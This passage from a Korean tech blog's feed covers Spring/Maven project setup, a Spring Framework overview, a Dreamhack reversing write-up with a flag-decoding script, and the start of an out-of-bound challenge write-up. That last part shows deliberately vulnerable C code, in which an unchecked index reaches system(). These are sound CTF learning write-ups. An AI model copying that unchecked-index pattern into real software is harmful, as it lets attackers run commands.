</span></span><span class="line"><span class="cl">        <span class="nt">&lt;plugins&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;plugin&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;artifactId&gt;</span>maven-eclipse-plugin<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;version&gt;</span>2.9<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;configuration&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&lt;additionalProjectnatures&gt;</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&lt;projectnature&gt;</span>org.springframework.ide.eclipse.core.springnature<span class="nt">&lt;/projectnature&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&lt;/additionalProjectnatures&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&lt;additionalBuildcommands&gt;</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&lt;buildcommand&gt;</span>org.springframework.ide.eclipse.core.springbuilder<span class="nt">&lt;/buildcommand&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&lt;/additionalBuildcommands&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&lt;downloadSources&gt;</span>true<span class="nt">&lt;/downloadSources&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&lt;downloadJavadocs&gt;</span>true<span class="nt">&lt;/downloadJavadocs&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;/configuration&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;/plugin&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;plugin&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;groupId&gt;</span>org.apache.maven.plugins<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;artifactId&gt;</span>maven-compiler-plugin<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;version&gt;</span>2.5.1<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;configuration&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&lt;source&gt;</span>1.6<span class="nt">&lt;/source&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&lt;target&gt;</span>1.6<span class="nt">&lt;/target&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&lt;compilerArgument&gt;</span>-Xlint:all<span class="nt">&lt;/compilerArgument&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&lt;showWarnings&gt;</span>true<span class="nt">&lt;/showWarnings&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&lt;showDeprecation&gt;</span>true<span class="nt">&lt;/showDeprecation&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;/configuration&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;/plugin&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;plugin&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;groupId&gt;</span>org.codehaus.mojo<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;artifactId&gt;</span>exec-maven-plugin<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;version&gt;</span>1.2.1<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;configuration&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&lt;mainClass&gt;</span>org.test.int1.Main<span class="nt">&lt;/mainClass&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;/configuration&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;/plugin&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&lt;/plugins&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&lt;pluginManagement&gt;</span>
</span></span><span class="line"><span class="cl">        	<span class="nt">&lt;plugins&gt;</span>
</span></span><span class="line"><span class="cl">        		<span class="c">&lt;!--This plugin&#39;s configuration is used to store Eclipse m2e settings only. It has no influence on the Maven build itself.--&gt;</span>
</span></span><span class="line"><span class="cl">        		<span class="nt">&lt;plugin&gt;</span>
</span></span><span class="line"><span class="cl">        			<span class="nt">&lt;groupId&gt;</span>org.eclipse.m2e<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">        			<span class="nt">&lt;artifactId&gt;</span>lifecycle-mapping<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">        			<span class="nt">&lt;version&gt;</span>1.0.0<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">        			<span class="nt">&lt;configuration&gt;</span>
</span></span><span class="line"><span class="cl">        				<span class="nt">&lt;lifecycleMappingMetadata&gt;</span>
</span></span><span class="line"><span class="cl">        					<span class="nt">&lt;pluginExecutions&gt;</span>
</span></span><span class="line"><span class="cl">        						<span class="nt">&lt;pluginExecution&gt;</span>
</span></span><span class="line"><span class="cl">        							<span class="nt">&lt;pluginExecutionFilter&gt;</span>
</span></span><span class="line"><span class="cl">        								<span class="nt">&lt;groupId&gt;</span>
</span></span><span class="line"><span class="cl">        									org.apache.maven.plugins
</span></span><span class="line"><span class="cl">        								<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">        								<span class="nt">&lt;artifactId&gt;</span>
</span></span><span class="line"><span class="cl">        									maven-compiler-plugin
</span></span><span class="line"><span class="cl">        								<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">        								<span class="nt">&lt;versionRange&gt;</span>
</span></span><span class="line"><span class="cl">        									[2.5.1,)
</span></span><span class="line"><span class="cl">        								<span class="nt">&lt;/versionRange&gt;</span>
</span></span><span class="line"><span class="cl">        								<span class="nt">&lt;goals&gt;</span>
</span></span><span class="line"><span class="cl">        									<span class="nt">&lt;goal&gt;</span>testCompile<span class="nt">&lt;/goal&gt;</span>
</span></span><span class="line"><span class="cl">        								<span class="nt">&lt;/goals&gt;</span>
</span></span><span class="line"><span class="cl">        							<span class="nt">&lt;/pluginExecutionFilter&gt;</span>
</span></span><span class="line"><span class="cl">        							<span class="nt">&lt;action&gt;</span>
</span></span><span class="line"><span class="cl">        								<span class="nt">&lt;ignore&gt;&lt;/ignore&gt;</span>
</span></span><span class="line"><span class="cl">        							<span class="nt">&lt;/action&gt;</span>
</span></span><span class="line"><span class="cl">        						<span class="nt">&lt;/pluginExecution&gt;</span>
</span></span><span class="line"><span class="cl">        					<span class="nt">&lt;/pluginExecutions&gt;</span>
</span></span><span class="line"><span class="cl">        				<span class="nt">&lt;/lifecycleMappingMetadata&gt;</span>
</span></span><span class="line"><span class="cl">        			<span class="nt">&lt;/configuration&gt;</span>
</span></span><span class="line"><span class="cl">        		<span class="nt">&lt;/plugin&gt;</span>
</span></span><span class="line"><span class="cl">        	<span class="nt">&lt;/plugins&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&lt;/pluginManagement&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;/build&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;/project&gt;</span>
</span></span></code></pre></div><p>pom.xml에 정의되어 있는 의존성에 대한 버전정보는 <a href="https://mvnrepository.com/">https://mvnrepository.com/</a> 에서 확인이 가능하고 원하는 버전을 사용할 수 있다. 다만 주의해야 할 점이 Spring 버전과 openjdk 버전 등 여러 라이브러리의 버전을 맞춰줘야 한다. jdk와 spring 버전이 특정 라이브러리 버전을 지원한다고 해도 다른 라이브러리와 버전 충돌로 인해 사용이 불가 할수도 있다. 이러한 버전관리에서 발생하는 복잡성 때문에 gradle이라는 기술이 등장해 Spring Boot에 적용되었다.</p>
<p>다만 개인적으로 필자는 아직도 Maven이 익숙해 종종 사용하고 있다.</p>
<p>위 xml을 보면 자바 버전이 11이고 스프링 버전에 5.3.17인 것을 볼수 있다. 기본 프로젝트를 생성하면 자바 1.6버전에 스프링 3.X버전이 기본으로 설정되어 있을것이다. 이 부분을 사용자가 자바 버전과 호환이 되는 버전인지를 확인하고 직접 전부 원하는 버전으로 수정을 해줘야 한다. 필자는 자바 11, 스프링 5.3.17버전으로 설정해 주었다.</p>
<p>버전 설정은 자유지만 버전을 설정 한 후 기본적인 워크스페이스 JRE 버전 셋팅, 프로젝트 라이브러리 버전들을 잘 확인해 줘야 한다.</p>
<p><br><br></p>
<p>이제 테스트 프로젝트를 실행해보자.</p>
<p>위의 Tomcat 설정을 진행하면서 프로젝트 모듈을 Tomcat에 임포트 하는 과정이 있을 것이다. Window -&gt; Show View -&gt; Other 에서 Server를 클릭하면 Server 탭이 하나 열리고 추가된 서버가 보일 것이다.</p>
<center><img src="/img/make-spring-project/sts4-server-window.png" width="80%" height="80%"></center>
<p>필자는 톰켓 9.0버전을 사용한다.</p>
<p>Tomcat v9.0 Server at localhost 부분을 더블클릭하면 다음과 같은 화면을 볼수 있다.</p>
<center><img src="/img/make-spring-project/sts4-server-webModules.png" width="80%" height="80%"></center>
<p>여기서 추가된 프로젝트 웹 모듈을 확인할 수 있고, 혹시라도 추가되어 있지 않으면 Add Web Module을 클릭해 프로젝트를 추가해준다.</p>
<p>이후 톰켓을 실행시키면 프로젝트 기본 페이지를 볼수 있다.</p>
<center><img src="/img/make-spring-project/spring-mvc-running.png" width="80%" height="80%"></center>]]></content:encoded></item><item><title>Spring Framework 스프링 프레임워크란?</title><link>https://dig06161.github.io/2022/03/23/what-is-spring/</link><pubDate>Wed, 23 Mar 2022 23:30:00 +0900</pubDate><guid>https://dig06161.github.io/2022/03/23/what-is-spring/</guid><description>&lt;p>스프링 프레임워크란 무엇일까?&lt;/p>
&lt;p>스프링 프레임워크는 JAVA, Groovy, Kotlin으로 웹을 쉽게 개발할 수 있게 한 프레임워크이다. 기본언어로 JAVA를 지원하며, Groovy, kotlin을 지원한다.
&lt;br>&lt;br>&lt;/p>
&lt;center>&lt;img src="https://spring.io/images/spring-logo-9146a4d3298760c2e7e49595184e1975.svg" width="80%" height="80%">&lt;/center>
&lt;br>&lt;br>
스프링의 공식 사이트는 https://spring.io/ 이며 기본적인 개발 가이드와 다양한 프로젝트들이 기술되어 있다.
&lt;p>스프링의 대표적인 프로젝트로 스프링 프레임워크, 스프링 부트, 스프링 시큐리티가 있다.&lt;/p>
&lt;p>스프링 프레임워크는 Spring MVC로 MVC패턴을 이용해 Maven을 통한 의존성을 가지고 개발할수 있는 장점이 있고 상당히 오래 사용되어 오면서 5.대 버전까지 출시를 했다. 다만 단점으로 Maven을 통한 의존성을 사용할떄 버전에 대한 호환성을 장담할 수 없고 이를 개발자가 일일이 확인하고 적용하여야 했다. 또한 많은 부가 기능을 지원하는 대신 많은 설정이 필요해 초기 개발시간을 늘린다. 그리고 WAS를 링크시켜 운용해야 하는 문제가 있다.&lt;/p></description><content:encoded><![CDATA[<p>스프링 프레임워크란 무엇일까?</p>
<p>스프링 프레임워크는 JAVA, Groovy, Kotlin으로 웹을 쉽게 개발할 수 있게 한 프레임워크이다. 기본언어로 JAVA를 지원하며, Groovy, kotlin을 지원한다.
<br><br></p>
<center><img src="https://spring.io/images/spring-logo-9146a4d3298760c2e7e49595184e1975.svg" width="80%" height="80%"></center>
<br><br>
스프링의 공식 사이트는 https://spring.io/ 이며 기본적인 개발 가이드와 다양한 프로젝트들이 기술되어 있다.
<p>스프링의 대표적인 프로젝트로 스프링 프레임워크, 스프링 부트, 스프링 시큐리티가 있다.</p>
<p>스프링 프레임워크는 Spring MVC로 MVC패턴을 이용해 Maven을 통한 의존성을 가지고 개발할수 있는 장점이 있고 상당히 오래 사용되어 오면서 5.대 버전까지 출시를 했다. 다만 단점으로 Maven을 통한 의존성을 사용할떄 버전에 대한 호환성을 장담할 수 없고 이를 개발자가 일일이 확인하고 적용하여야 했다. 또한 많은 부가 기능을 지원하는 대신 많은 설정이 필요해 초기 개발시간을 늘린다. 그리고 WAS를 링크시켜 운용해야 하는 문제가 있다.</p>
<p>스프링 부트는 스프링 프레임워크의 초기 개발셋팅이 오래걸린다는 단점과 WAS를 사용해야 한다는 문제점을 해결해 나온 경량화 버전이라고 생각하면 좋을것 같다. 기본적으로 스프링 프레임워크를 기반으로 만들어진 프레임워크이다. 임베디드 톰켓이 내장되어 있고 초기 개발을 빠르게 진행할수 있게 해준다. 또 Gradle을 통해 기존에 사용하는 라이브러리 버전들과 호환되는 라이브러리를 자동으로 찾아줘 버전에 따른 충돌을 피할 수 있다. 다만 스프링 프레임워크와는 조금 다르다.</p>
<p>스프링 시큐리티는 스프링 프레임워크, 스프링 부트에서 사용할 수 있는 보안 프레임워크이다. 기본적인 로그인 로직과 세션제어, XSRF 방지 토큰, 암호화 로직 등을 지원한다. 스프링 필터 레이어에서 동작하면서 비인가 사용자의 접근에는 에러 페이지를 띄워주는 등 다양한 기능을 제공한다.</p>
<p><br><br></p>
<p>spring을 개발하기에 앞서서 자바와 톰켓이 설치되어 있어야 하며, 스프링 부트 프로젝트 사용 시에는 자바만 있으면 기본적인 구동이 가능하다.</p>
<p>자세한 것은 이후 포스팅을 통해 따로 정리해 보도록 하겠다.</p>
]]></content:encoded></item><item><title>Dreamhack rev-basic-4 문제풀이</title><link>https://dig06161.github.io/2022/03/11/dreamhack-rev-basic-4-writeup/</link><pubDate>Fri, 11 Mar 2022 21:00:00 +0900</pubDate><guid>https://dig06161.github.io/2022/03/11/dreamhack-rev-basic-4-writeup/</guid><description>&lt;p>이번 문제는 드림핵 리버싱문제 rev-basic-4이다.&lt;/p>
&lt;p>우선 문제파일을 다운받으면 chall4.exe라는 프로그램이 나온다.
이 프로그램을 실행 시키면 iput : 이라는 문구와 함께 입력창이 활성화 된다. 이후 임의 문자열을 입력하면 Wrong이라는 문자열을 표시하고 종료된다.&lt;/p>
&lt;p>이제 이 프로그램을 x64디버거로 열어보자.
&lt;br>&lt;/p>
&lt;center>&lt;img src="https://dig06161.github.io/img/dreamhack-reb-basic-4/x64_main.png" width="80%" height="80%">&lt;/center>
&lt;p>이 프로그램의 main부분이다 input 이후에&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c++" data-lang="c++">&lt;span class="line">&lt;span class="cl">&lt;span class="n">call&lt;/span> &lt;span class="n">chall4&lt;/span>&lt;span class="mf">.7F&lt;/span>&lt;span class="n">F68AC31000&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>부분에서 문자열을 비교해 je 명령어로 Correct와 Wrong을 나눠준다.&lt;/p>
&lt;p>이부분에 bp를 걸고 쭉 진행해 임의의 문자열을 입력하고 내용을 보자.&lt;/p>
&lt;center>&lt;img src="https://dig06161.github.io/img/dreamhack-reb-basic-4/func_in.png" width="80%" height="80%">&lt;/center>
위와같은 함수의 어셈블리가 보여진다.
&lt;p>간단히 돌려보며 해석을 해보자. 일단 임의값을 &amp;ldquo;AAAAA&amp;quot;로 입력했다.&lt;/p></description><content:encoded><![CDATA[<p>이번 문제는 드림핵 리버싱문제 rev-basic-4이다.</p>
<p>우선 문제파일을 다운받으면 chall4.exe라는 프로그램이 나온다.
이 프로그램을 실행 시키면 iput : 이라는 문구와 함께 입력창이 활성화 된다. 이후 임의 문자열을 입력하면 Wrong이라는 문자열을 표시하고 종료된다.</p>
<p>이제 이 프로그램을 x64디버거로 열어보자.
<br></p>
<center><img src="/img/dreamhack-reb-basic-4/x64_main.png" width="80%" height="80%"></center>
<p>이 프로그램의 main부분이다 input 이후에</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="n">call</span> <span class="n">chall4</span><span class="mf">.7F</span><span class="n">F68AC31000</span>
</span></span></code></pre></div><p>부분에서 문자열을 비교해 je 명령어로 Correct와 Wrong을 나눠준다.</p>
<p>이부분에 bp를 걸고 쭉 진행해 임의의 문자열을 입력하고 내용을 보자.</p>
<center><img src="/img/dreamhack-reb-basic-4/func_in.png" width="80%" height="80%"></center>
위와같은 함수의 어셈블리가 보여진다.
<p>간단히 돌려보며 해석을 해보자. 일단 임의값을 &ldquo;AAAAA&quot;로 입력했다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="n">jae</span> <span class="n">chall4</span><span class="mf">.7F</span><span class="n">F68AC31065</span>
</span></span></code></pre></div><p>위 명령어를 통해 반복문을 진행하며 한글자씩 불러 검사하는 로직이다.</p>
<p>간단한 해석을 붙이면 입력받은 문자열을 AAAAA라고 했을때, 입력받은 문자열의 첫번째 글자를 오른쪽으로 4만큼 시프트 연산한 후 eax에 넣는다. 이후 입력받은 문자열의 첫번째 글자 A를 왼쪽으로 4만큼 시프트 연산 이후 F0와 AND연산 후 ecx에 넣는다. 그다음 eax와 ecx를 OR연산하여 eax에 넣고 7FF68AC33000에 위치한 문자열의 첫번째 글자를 불러 ecx에 넣는다. 이후 cmp명령어를 통해 서로 일치할 경우 jmp를 통해 두번째 문자열의 비교를 시작한다.
<br><br>
그러면 문자열 A를 직접 계산기를 이용해 계산해보자. A의 hex값은 41이며 이진수로 표현하면 0100 0001이다. 41를 위 계산을 통해나온 결과를 보면 0001 0100이라는 값을 가지고 있다.</p>
<p>다른 숫자로 몇번 더 계산을 해보면 hex또는 2진수의 좌우를 바꿔주는것을 볼수 있다.
<br><br>
그러면 7FF68AC33000에 위치한 문자열들의 hex값의 좌우를 바꿔주면 쉽게 flag를 구할 수 있다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">68</span><span class="n">AC33000</span>  <span class="mi">24</span> <span class="mi">27</span> <span class="mi">13</span> <span class="n">C6</span> <span class="n">C6</span> <span class="mi">13</span> <span class="mi">16</span> <span class="n">E6</span> <span class="mi">47</span> <span class="n">F5</span> <span class="mi">26</span> <span class="mi">96</span> <span class="mi">47</span> <span class="n">F5</span> <span class="mi">46</span> <span class="mi">27</span>  <span class="err">$&#39;</span><span class="p">.</span><span class="err">ÆÆ</span><span class="p">..</span><span class="err">æ</span><span class="n">Gõ</span><span class="o">&amp;</span><span class="p">.</span><span class="n">GõF</span><span class="err">&#39;</span>  
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">68</span><span class="n">AC33010</span>  <span class="mi">13</span> <span class="mi">26</span> <span class="mi">26</span> <span class="n">C6</span> <span class="mi">56</span> <span class="n">F5</span> <span class="n">C3</span> <span class="n">C3</span> <span class="n">F5</span> <span class="n">E3</span> <span class="n">E3</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span>  <span class="p">.</span><span class="o">&amp;&amp;</span><span class="err">Æ</span><span class="n">VõÃÃõãã</span><span class="p">.....</span>  
</span></span></code></pre></div><p>위의 hex값을 파이썬을 이용해 좌우 자릿수를 바꿔보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x27</span><span class="p">,</span><span class="mh">0x13</span><span class="p">,</span><span class="mh">0xC6</span><span class="p">,</span><span class="mh">0xC6</span><span class="p">,</span><span class="mh">0x13</span><span class="p">,</span><span class="mh">0x16</span><span class="p">,</span><span class="mh">0xE6</span><span class="p">,</span><span class="mh">0x47</span><span class="p">,</span><span class="mh">0xF5</span><span class="p">,</span><span class="mh">0x26</span><span class="p">,</span><span class="mh">0x96</span><span class="p">,</span><span class="mh">0x47</span><span class="p">,</span><span class="mh">0xF5</span><span class="p">,</span><span class="mh">0x46</span><span class="p">,</span><span class="mh">0x27</span><span class="p">,</span><span class="mh">0x13</span><span class="p">,</span><span class="mh">0x26</span><span class="p">,</span><span class="mh">0x26</span><span class="p">,</span><span class="mh">0xC6</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0xF5</span><span class="p">,</span><span class="mh">0xC3</span><span class="p">,</span><span class="mh">0xC3</span><span class="p">,</span><span class="mh">0xF5</span><span class="p">,</span><span class="mh">0xE3</span><span class="p">,</span><span class="mh">0xE3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">a</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">b</span> <span class="o">=</span> <span class="n">i</span> <span class="o">&gt;&gt;</span> <span class="mi">4</span>
</span></span><span class="line"><span class="cl">        <span class="n">c</span> <span class="o">=</span> <span class="n">i</span> <span class="o">%</span> <span class="mh">0x10</span>
</span></span><span class="line"><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="p">(</span><span class="n">c</span><span class="o">*</span><span class="mh">0x10</span><span class="p">)</span><span class="o">+</span><span class="n">b</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span> <span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">result</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>위 코드는 16진수 배열을 하나씩 불러와 자리수를 서로 바꿔준 후 아스키코드 문자열로 출력해주는 코드이다. 예를 들면 16진수 24를 42로 바꾸어 42에 해당하는 아스키코드인 &ldquo;B&quot;를 출력한다.</p>
<p>위 코드를 돌리면 플레그 값을 얻을 수 있다.</p>
]]></content:encoded></item><item><title>Dreamhack out_of_bound 문제풀이</title><link>https://dig06161.github.io/2022/03/07/dreamhack-out-of-bound-writeup/</link><pubDate>Mon, 07 Mar 2022 21:00:00 +0900</pubDate><guid>https://dig06161.github.io/2022/03/07/dreamhack-out-of-bound-writeup/</guid><description>&lt;p>out of bound(OOB)는 버퍼의 길이를 벗어나는 인덱스를 참조하려 할때 발생할 수 있는 취약점이다.
&lt;br>
이번 문제의 소스코드를 먼저 살펴보자.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c++" data-lang="c++">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">char&lt;/span> &lt;span class="n">name&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">command&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="s">&amp;#34;cat&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;ls&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;id&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;ps&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;file ./oob&amp;#34;&lt;/span> &lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">alarm_handler&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">puts&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;TIME OUT&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">initialize&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">setvbuf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stdin&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">NULL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_IONBF&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">setvbuf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stdout&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">NULL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_IONBF&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">signal&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">SIGALRM&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">alarm_handler&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">alarm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">30&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">idx&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">initialize&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Admin name: &amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">read&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">name&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">name&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;What do you want?: &amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">scanf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;%d&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">idx&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">system&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">command&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">idx&lt;/span>&lt;span class="p">]);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
